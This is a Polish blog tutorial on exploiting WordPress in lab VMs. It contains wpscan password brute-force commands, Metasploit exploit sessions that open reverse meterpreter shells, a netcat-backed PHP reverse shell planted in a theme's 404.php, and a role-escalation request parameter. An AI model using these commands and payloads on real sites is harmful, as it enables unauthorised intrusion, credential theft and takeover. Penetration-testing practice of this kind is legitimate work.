Wstęp
Wordpress ma już prawie dwadzieścia lat (pierwsze wydanie było w 2003 roku). A co to jest? To chyba prawie każdy wie, kto się interesuje CMS-ami. Przypomnę, zaczerpnąwszy z definicji Wikipedii, że jest to system zarządzania treścią napisany w języku PHP korzystający z Bazy MySQL. Jest zaprojektowany głównie do obsługi blogów, ale nie tylko. PHP i MySQL od czasu do czasu łapią jakieś bugi, ale niekoniecznie to jest powodem jego słabości. Tutaj nie będę opisywał, jak zabezpieczyć Wordpressa, o tym możesz przeczytać w bardzo ciekawym artykule, który był parę lat temu opisywany na Sekuraku. Skupię się głównie na tym jak wykorzystać błędy Wordpressa na konkretnych maszynach wirtualnych. Wirtualki są z serwisów vulnhub i hackmyvm. Polecam zwłaszcza ten drugi serwis. Ciągle są dodawane nowe wirtualki. Głównie są one pod Linuxem. Praktycznie w każdej jest jakiś nowy pomysł na zdobycie flag. Czasami to aż głowa od tego pęka, a po fakcie myślisz, jakie to było proste. Za zdobycie konta użytkownika i roota jest punktacja. A jeżeli gdzieś utkniesz, to na Discordzie są osoby chętne do pomocy. Nie poprowadzą Ciebie za rączkę, ale możliwe, że dostaniesz jakąś wskazówkę. Poza tym większość maszyn ma solucje, a za napisanie też można dostać punkt. Nie musi być po angielsku. Dużo osób pisze w ojczystym języku: polskim, japońskim, hiszpańskim. A co jest dosyć ważne, wszystko jest za darmo.
Podstawy podstaw
O instalacji się będę rozpisywał, za to opiszę ogólnie konfigurację Wordpressa. Czyli co gdzie jest:
Główne katalogi
- /var/www/html/ - Najczęściej główny katalog Wordpressa gdzie znajdują się główne pliki konfiguracyjne.
- /var/www/html/wp-admin/ - pliki administracyjne, tam jest plik do logowania, pliki instalacyjne, zarządzające pulpitem Wordpressa. Możesz też wchodząc z przeglądarki na http://strona/wp-admin/wp-admin się od razu zalogować.
- /usr/share/wordpress/wp-content/plugins - katalog z pluginami, jeżeli jakiś wtyczek nie używasz wyłącz.
- /usr/share/wordpress/wp-content/uploads - Obrazy i multimedia. Bardzo niebezpieczny katalog. Często bywa, że po jest widoczny na zewnątrz, o tym będzie później.
- /usr/share/wordpress/wp-content/themes - Tematy - podobnie jak w temacie pluginów, zostaw tylko ten temat, który używasz.
- /usr/share/wordpress/wp-includes - Jest to jest folder, jak sama nazwa wskazuje, w którym wp-admin dołącza wszystkie pliki potrzebne do uruchomienia strony internetowej.
Podstawowowe podatności
wp-config.php
Ciekawym plikiem dla włamywacza jest /usr/share/wordpress/wp-config.php w którym widać hasło, login i nazwę bazy. Po włamaniu się przez Wordpressa możemy wejść na MySql. Poniżej fragment konfiguracji.
/usr/share/wordpress/wp-config.php
/** The name of the database for WordPress */ define( 'DB_NAME', 'baza' ); /** MySQL database username */ define( 'DB_USER', 'uzytkownik' ); /** MySQL database password */ define( 'DB_PASSWORD', 'haslo' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' );
/usr/share/wordpress/wp-content/uploads
Jeżeli nie zabezpieczyłeś tego katalogu, a tak było chyba w starszych Wordpressach, każdy z zewnątrz mógł przeglądać katalogi, wchodząc na https://strona/wp-content/uploads/. Takie strony łatwo można znaleźć wpisując w Google inurl:”/wp-content/uploads/” site:pl Jak to wygląda, możesz też zobaczyć opisie wirtualki. Vulny
Użytkownicy
Ciekawym katalogiem jest https://strona/wp-json/wp/v2/users/ oraz https://strona/author/[login]. Przykład możemy zobaczyć na stronie Sekuraka (mam nadzieje, że się nie obrażą na mnie za ten link, ale pewnie to świadomie udostępnili). Możemy również zobaczyć wpisy autora ac
Przydatne programy
To było sprawdzanie ręczne, ale od czego mamy programy? Znam dwa, ale polecam tylko jeden. Wpforce działał dosyć problemowo i nie jest aktualizowany tak jak Wpscan. Wybór jest oczywisty - ten drugi program. Warto się zarejestrować na stronie i ściągnąć sobie darmowy TOKEN. Dzięki temu możemy odczytać 25 darmowych żądań API dziennie, a to nam daje rozszerzoną informacje o skanowaniu. Oczywiście możemy tę liczbę zwiększyć, ale za to już dodatkowo się płaci. Bez TOKENa też możemy skanować, jednak wynik nie będzie tak dokładny.
Wpscan
Podczas skanowania stron internetowych trzeba uważać, żeby nie narobić szumu. Niektóre serwisy takie skanowanie odbierają jako próby ataku. Więc najprostszą rzeczą na początek będzie to:
# wpscan --url https://strona --stealthy --api-token=[twoj token]
Szukanie użytkowników już może narobić hałasu:
# wpscan --enumerate u --url https://strona --api-token=[twoj token]
Jeżeli znamy nazwę użytkownika i chcemy znaleźć jego hasło, możemy użyć brute-force:
# wpscan --url https://strona -U uzytkownik -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt --url https://strona --api-token=[twój token]
Ostatnia tutaj wspomniana komenda, czyli szukanie podatnych pluginów i tematów. To narobi dużo szumu. Przykład ten, a nawet mocniejszy możecie poćwiczyć na wirtualce Beloved.:
# wpscan --enumerate vp, vt --url https://strona --api-token=[twój token]
Metasploit
W programie oprócz funkcji enumeracji Wordpressa mamy multum wtyczek. Na początek jednak enumeracja:
Enumeracja
Tak wygląda, niestety, żeby sprawdzić wszystkie pluginy i zajmuje to trochę czasu:
msf6 > use auxiliary/scanner/http/wordpress_scanner
msf6 auxiliary(scanner/http/wordpress_scanner) > show options
Module options (auxiliary/scanner/http/wordpress_scanner):
Name Current Setting Required Description
---- --------------- -------- -----------
PLUGINS true no Detect plugins
PLUGINS_FILE /usr/share/metasploit-framework/ yes File containing plugins to enumerate
data/wordlists/wp-plugins.txt
PROGRESS 1000 yes how often to print progress
Proxies no A proxy chain of format type:host:port[,type:host:port][
...]
RHOSTS 172.16.1.214 yes The target host(s), see https://github.com/rapid7/metasp
loit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THEMES true no Detect themes
THEMES_FILE /usr/share/metasploit-framework/ yes File containing themes to enumerate
data/wordlists/wp-themes.txt
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Shell
Dosyć ciekawym eksploitem jest wp_admin_shell_upload. Za jego pomocą możemy wejść na konsolę. Niestety trzeba mieć uprawnienia administratora, po to żeby stworzyć jakiś plugin. Na końcu opiszę, jak czasami możemy sobie zwiększyć uprawnienia.
msf6 auxiliary(scanner/http/wordpress_scanner) > use unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > show options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.1.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Eksploity
wp_file_manager_rce
Ostatnio dosyć popularnym eksploitem (2020-09) jest WordPress File Manager Unauthenticated Remote Code Execution. Jest również dostępny w Metasploicie. Możesz go przetestować na już wcześniej wspomnianej wirtualce Vulny.
msf6 > use exploit/multi/http/wp_file_manager_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_file_manager_rce) > show options
Module options (exploit/multi/http/wp_file_manager_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND upload yes elFinder commands used to exploit the vulnerability (Accepted: upload, mkfil
e+put)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.16.1.159 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/
Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path to WordPress installation
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress File Manager 6.0-6.8
wp_wpdiscuz_unauthenticated_file_upload
Zastowowanie tego pluginu znajdziesz w Beloved. Poniżej przykład użycia.
msf6 > use exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set BLOGPATH /2021/06/09/hello-world/
BLOGPATH => /2021/06/09/hello-world/
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set rhosts 172.16.1.200
rhosts => 172.16.1.200
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set lhost eth0
lhost => eth0
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > run
[*] Started reverse TCP handler on 172.16.1.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] Payload uploaded as oRmLwLOvrhs.php
[*] Calling payload...
[*] Sending stage (39282 bytes) to 172.16.1.200
[*] Meterpreter session 1 opened (172.16.1.10:4444 -> 172.16.1.200:34720) at 2021-09-30 11:00:35 +0200
[!] This exploit may require manual cleanup of 'oRmLwLOvrhs.php' on the target
wp_plainview_activity_monitor_rce
To już dosyć stary plugin, ale pewnie jak poszukasz to go gdzieś znajdziesz w Internecie. Przykład użycia znajdziesz w Dc6.
404.php
Jeżeli mamy możliwość edycji pliku 404.php, to możemy wstawić tam eksploita. Wchodzimy na http://strona/wp-admin/, dalej tematy http://172.16.1.109/wp-admin/theme-editor.php i wrzucamy do 404.php po edycji eksploita z pentestmonkey. Na naszym serwerze uruchamiamy nasłuchiwacza komendą nc -lvnp 1234, a na Wordpressie odpalamy jakąś stronę której nie ma, np. http://strona/?p=1234. Możesz to przećwiczyć na colddbox-easy. Solucje znajdziesz tu
Zwiększanie uprawnień użytkownika
Jeżeli zalogowaliśmy się na jakieś konto (nie admina) i chcemy sobie zwiększyć uprawnienia, to czasami udaje się pewna sztuczka. Do niej użyjemy programu Burp Suite https://portswigger.net/burp. W Wordpressie zaś wchodzimy na users->”your profile”->”update profile”. Przechwytujemy zapytanie nagłówka POST /wp-admin/profile.php HTTP/1.1 i dodajemy na koniec &ure_other_roles=administrator. Było to sprawdzane ne Wordpressie w wersji 5.1.1 i 5.8.1. Poniżej przykładowe obrazki z tej akcji:
Koniec
W miarę możliwości będę aktualizować ten wpis. A Jeżeli znalazłe(a)ś jakieś błędy lub znasz ciekawe podatności Wordpressa napisz mejla na kerszi@protonmail.com. Ciekawe pomysły tutaj zamieszczę.
Zostaw komentarz